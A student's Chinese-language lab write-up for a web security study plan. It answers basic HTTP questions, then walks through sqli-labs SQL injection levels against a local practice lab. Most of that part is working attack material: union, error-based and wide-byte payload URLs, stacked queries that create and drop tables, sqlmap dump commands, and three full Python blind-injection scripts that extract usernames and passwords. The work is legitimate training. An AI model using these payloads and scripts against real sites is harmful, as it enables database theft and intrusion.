URL/HTTP请求方法相关:

  1. 请列举出4种常见URL协议:
  • HTTP/HTTPS协议,FTP协议,File协议,Mailto协议等。
  1. 请列举出6种常见HTTP请求方法:
  • Get,Post,Head,Put,Delete,Options,TRACE,Connect,共七种请求方法。

  • GET:用来请求访问已被URI识别的资源。

  • POST:用来传输实体的主体。

  • PUT:用来传输文件。

  • HEAD:用来获取报文首部。

  • DELETE:用来删除文件,和PUT相反。

  • OPTIONS:询问针对请求URI指定的资源
    支持的方法。

  • TRACE: 让服务器返回之前的请求通
    信。

  • CONNECT:要求使用隧道协议链接代理。

  1. http://example.com 发送GET请求,键值对为name:xxid:0的URL是?
  1. GET请求和POST请求的主要用途是?
  • 向目标地址发送获取资源的访问请求,GET可以传输简短的信息,POST可以传输较多信息。
  1. 假设存在以下场景:某人通过网上银行进行转账操作,你认为哪种请求方法更好?(GET/POST)
  • 当然是POST请求方法好,转账的时候输入信息不会显示在URL中,而是存在于Body中。

SQL注入相关:

  1. 尝试描述:什么是sql注入?
  • 由于很多后台在进行对用户输入数据进行查询过程中,往往利用用户输入的数据来构造SQL语句,我们就可以利用输入的数据中加入自己的SQL语句,将其注入后台中并执行。以此达成获取数据库中的数据的目的。
  1. 尝试概括:sql注入的形成原因?
  • 开发人员使用动态字符串构造SQL语句来创建所需的命令,如果不对这些从用户获得的数据加以严格的过滤,构造的SQL语句可能存在来自于用户的恶意命令,对数据库安全造成严重威胁。
  1. 尽可能列举出所有的sql注入类型
  • GET注入,Cookie注入,POST注入,HTTP头部注入

  • 布尔注入,时间注入,报错注入,联合查询注入,堆查询注入,宽字节注入。

  1. 使用sqli-labs进行学习(请使用手工进行注入,不能使用相关工具,要求截图注入提交的URL及最后爆出flag标志(在当前数据库下的另外一个表中)):
  • Less-1
1
http://localhost/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--%20

image.png

  • Less-2
1
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20--%20

image.png

  • Less-5

报错注入,我这里使用的构造group_concat重复写入错误。

1
http://localhost/sqli-labs/Less-5/?id=-1%27%20union%20select%201,count(%2a),concat((select%20concat(username,%27%20%27,password)%20from%20users%20limit%200,1),floor(rand(0)%2a2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20--%20

image.png

剩下的数据只要修改LIMIT显示范围就可以得到了。

  • Less-8

这道题原本想要用burpsuite来解决的,但是浏览器代理出了点问题,burpsuite抓不到包,于是就只能现学Python花了很多时间,写了脚本解决问题,直接爆数据,成对输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import urllib.request

Over=" -- "
Right=b"You are in"
url="http://localhost/sqli-labs/Less-8/?id=1'"
Verifystring=" and left(%s,%d)='%s'"
VerifyLength=" and length(concat(%s,'1'))=%d"
UserName="(select username from users limit %d,1)"
Password="(select password from users limit %d,1)"

def Get_Number():
for i in range(100):
LastUrl=" and concat((select count(*) from users))=%d -- "%i
FinalUrl=url+urllib.request.quote(LastUrl)
Respond=urllib.request.urlopen(FinalUrl)
if Right in Respond.read():
return i

def GetLength_UserName(id):
for i in range(100):
LastUrl=VerifyLength%(UserName%id,i+1)+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Respond=urllib.request.urlopen(FinalUrl)
if Right in Respond.read():
return i

def GetLength_Password(id):
for i in range(100):
LastUrl=VerifyLength%(Password%id,i+1)+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Respond=urllib.request.urlopen(FinalUrl)
if Right in Respond.read():
return i

def Get_UserName(id,len):
Try=""
for i in range(len):
for j in range(91):
LastUrl=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Respond=urllib.request.urlopen(FinalUrl)
if Right in Respond.read():
Try=Try+chr(j+48)
break
return Try

def Get_Password(id,len):
Try=""
for i in range(len):
for j in range(91):
LastUrl=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Respond=urllib.request.urlopen(FinalUrl)
if Right in Respond.read():
Try=Try+chr(j+33)
break
return Try


for i in range(Get_Number()):
IDL=GetLength_UserName(i)
PWL=GetLength_Password(i)
IDS=Get_UserName(i,IDL)
PWS=Get_Password(i,PWL)
print(IDS,':',PWS)

下面是本地输出的数据:
image.png

  • Less-9

时间盲注,把上一题的脚本改一改就可以用了,从判断”You are in”更改为判断返回的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import time
import urllib.request

Over=" -- "
url="http://localhost/sqli-labs/Less-9/?id=1'"
Verifystring=" and if(left(%s,%d)='%s',sleep(0.1),1)"
VerifyLength=" and if(length(concat(%s,'1'))=%d,sleep(0.1),1)"
UserName="(select username from users limit %d,1)"
Password="(select password from users limit %d,1)"

def Get_Number():
for i in range(15):
LastUrl=" and if(concat((select count(*) from users))=%d,sleep(0.1),1) -- "%i
FinalUrl=url+urllib.request.quote(LastUrl)
Start=time.time()
urllib.request.urlopen(FinalUrl)
End=time.time()
if (End-Start)>0.1 and (End-Start)<0.2:
return i

def GetLength_UserName(id):
for i in range(100):
LastUrl=VerifyLength%(UserName%id,i+1)+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Start=time.time()
urllib.request.urlopen(FinalUrl)
End=time.time()
if (End-Start)>0.1 and (End-Start)<0.2:
return i

def GetLength_Password(id):
for i in range(100):
LastUrl=VerifyLength%(Password%id,i+1)+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Start=time.time()
urllib.request.urlopen(FinalUrl)
End=time.time()
if (End-Start)>0.1 and (End-Start)<0.2:
return i

def Get_UserName(id,len):
Try=""
for i in range(len):
for j in range(91):
LastUrl=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Start=time.time()
urllib.request.urlopen(FinalUrl)
End=time.time()
if (End-Start)>0.1 and (End-Start)<0.2:
Try=Try+chr(j+48)
break
return Try

def Get_Password(id,len):
Try=""
for i in range(len):
for j in range(91):
LastUrl=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over
FinalUrl=url+urllib.request.quote(LastUrl)
Start=time.time()
urllib.request.urlopen(FinalUrl)
End=time.time()
if (End-Start)>0.1 and (End-Start)<0.2:
Try=Try+chr(j+33)
break
return Try


for i in range(Get_Number()):
IDL=GetLength_UserName(i)
PWL=GetLength_Password(i)
IDS=Get_UserName(i,IDL)
PWS=Get_Password(i,PWL)
print(IDS,':',PWS)

image.png

  • Less-11

简单的Post注入,方法和前几道题目差不多。

1
uname=-1' union select (select group_concat(username) from users),(select group_concat(username) from users) -- &passwd=Dumb&sumbit=Submit

image.png

  • Less-14

报错盲注,只需要修改Limit后面的参数就可以获得所有数据了。

1
uname=Dumb" and updatexml('error',concat('~',(select concat(username,':',password) from users limit 0,1)),"error") -- &passwd=Dumb&sumbit=Submit

image.png

  • Less-15(用基于布尔的盲注)

这里和第八题的方法是一样的,唯一的不同就是构造Get和Post的区别,然后还是写个脚本就跑出了所有的数据了,不得不说Python功能性还是比C++要强很多的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests

Over=" -- "
Right="flag.jpg"
URL="http://localhost/sqli-labs/Less-15/"
Data={'uname':'','passwd':'Dumb','sumbit':'Submit'}
Verifystring="Dumb' and left(%s,%d)='%s'"
VerifyLength="Dumb' and length(concat(%s,'1'))=%d"
UserName="(select username from users limit %d,1)"
Password="(select password from users limit %d,1)"

def Get_Number():
for i in range(100):
Data['uname']="Dumb' and concat((select count(*) from users))=%d -- "%i
Respond=requests.post(url=URL,data=Data)
if Right in Respond.text:
return i

def GetLength_UserName(id):
for i in range(100):
Data['uname']=VerifyLength%(UserName%id,i+1)+Over
Respond=requests.post(url=URL,data=Data)
if Right in Respond.text:
return i

def GetLength_Password(id):
for i in range(100):
Data['uname']=VerifyLength%(Password%id,i+1)+Over
Respond=requests.post(url=URL,data=Data)
if Right in Respond.text:
return i

def Get_UserName(id,len):
Try=""
for i in range(len):
for j in range(91):
Data['uname']=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over
Respond=requests.post(url=URL,data=Data)
if Right in Respond.text:
Try=Try+chr(j+48)
break
return Try

def Get_Password(id,len):
Try=""
for i in range(len):
for j in range(91):
Data['uname']=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over
Respond=requests.post(url=URL,data=Data)
if Right in Respond.text:
Try=Try+chr(j+33)
break
return Try

for i in range(Get_Number()):
IDL=GetLength_UserName(i)
PWL=GetLength_Password(i)
IDS=Get_UserName(i,IDL)
PWS=Get_Password(i,PWL)
print(IDS,':',PWS)

image.png

  • Less-18

只要修改limit范围就可以得到所有的数据。

1
User-Agent: ' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) and '

image.png

  • Less-38

堆叠注入,就建立一个表然后再删除吧。

1
http://localhost/sqli-labs/Less-38/?id=1%27;%20create%20table%20new%20like%20users%20--%20
1
http://localhost/sqli-labs/Less-38/?id=1%27;%20drop%20table%20new%20--%20
  1. 结合所学知识,尝试用自己的语言来描述如何防范/修复sql注入?
  • 过滤关键词,防范各种可能的注入。
  • 预编译SQL语句,比如参数化查询。

提升:

  • 了解github并创建属于自己的账号(很多东西我们都能在github上找到,如sqli-labs,sqlmap等)

已经创建了:https://github.com/Administrator-Xorex

  • 了解sqlmap,尝试使用此工具对sqli-labs靶场中的Less-1,Less-5进行攻击,并了解sqlmap中关于tamper有关的知识
  1. Less-1:

首先使用sqlmap对less-1进行扫描,发现了可以进行四种注入:

1
python sqlmap.py -u "http://localhost/sqli-labs/less-1/?id=1" --banner

image.png

然后就可以一步一步获得数据了:

1
2
3
4
python sqlmap.py -u "http://localhost/sqli-labs/less-1/?id=1" --dbs
python sqlmap.py -u "http://localhost/sqli-labs/less-1/?id=1" -D security --tables
python sqlmap.py -u "http://localhost/sqli-labs/less-1/?id=1" -D security -T users --columns
python sqlmap.py -u "http://localhost/sqli-labs/less-1/?id=1" -D security -T users -C username,password --dump

最后成功获得数据并保存:

image.png

  1. Less-5:

和上面的Less-1过程相同,不过这次测出来的注入就少了联合查询,最后也能搞到数据。

image.png

  1. Tamper

可以一定程度上绕过的字符过滤,WAF规则的阻挡,从而进行攻击。

  • 了解sql注入的过滤及绕过,尝试完成Less-33,Less-36
  1. Less-33:

宽字符注入,因为这道题将输入的’加了一个反斜杠,只需要用宽字符吃掉这个反斜杠即可形成闭合:

1
http://localhost/sqli-labs/less-33/?id=0%df%27%20union%20select%201,(select%20group_concat(username)%20from%20users),(select%20group_concat(password)%20from%20users)%23

image.png

  1. Less-36:

这个和33是一样的,都是宽字节注入。

1
http://localhost/sqli-labs/less-36/?id=0%ee%27%20union%20select%201,(select%20group_concat(username)%20from%20users),(select%20group_concat(password)%20from%20users)%23

image.png

  • 尝试阅读sqli-labs中的源码(需PHP要有一定的PHP功底,接下来会学习),结合所学知识从代码角度分析sql注入产生的原因

  • 正在尝试学习PHP中……

最后:

  • 感谢学长们的Web学习计划第二期!!!
  • 配环境好麻烦啊,尤其是不知道哪里出问题的那种 QAQ